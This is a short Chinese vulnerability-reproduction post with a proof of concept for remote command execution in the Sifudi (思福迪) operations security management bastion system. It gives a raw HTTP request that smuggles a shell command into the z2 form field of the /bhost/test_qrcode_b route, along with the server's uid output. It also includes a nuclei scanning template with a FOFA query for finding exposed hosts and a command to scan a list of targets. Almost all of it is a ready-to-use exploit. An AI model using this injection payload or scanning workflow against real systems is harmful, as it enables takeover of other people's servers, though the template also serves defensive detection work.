[漏洞复现] 思福迪运维安全管理系统 test_qrcode_b RCE漏洞（附POC）

POST /bhost/test_qrcode_b HTTP/1.1Host: BaseURLUser-Agent: Go-http-client/1.1Content-Length: 23Accept-Encoding: gzipConnection: closeContent-Type: application/x-www-form-urlencodedReferer: BaseURL
z1=1&z2="|id;"&z3=bhost

HTTP/1.1 200 OKConnection: closeContent-Length: 48Content-Type: text/html; charset=utf-8Date: Wed, 13 Dec 2023 10:41:57 GMTServer: npavedStrict-Transport-Security: max-age=31536000; includeSubDomains
uid=93(apache) gid=100(users) groups=100(users)

id: SAFETY-test_qrcode_b-rce
info:  name: 思福迪 运维安全管理系统 test_qrcode_b 远程命令执行漏洞  author: fgz  severity: critical  description: '思福迪运维安全管理系统是思福迪开发的一款运维安全管理堡垒机。思福迪运维安全管理系统 test_qrcode_b 路由存在命令执行漏洞，可以导致服务器被攻击者远控。'  tags: 2023,SAFETY,LogBase,思福迪,rce  metadata:    max-request: 3    fofa-query: app="思福迪-LOGBASE"    verified: true
http:  - method: POST    path:      - "{{BaseURL}}/bhost/test_qrcode_b"    headers:      Content-Type: application/x-www-form-urlencoded      Connection: close      Referer: "{{BaseURL}}"      Accept-Encoding: gzip    body: 'z1=1&z2="|id;"&z3=bhost'    unsafe: true    matchers:      - type: dsl        dsl:          - "status_code == 200 && contains(body,'uid')"

nuclei.exe -t SAFETY-test_qrcode_b-rce.yaml -l data/思福迪.txt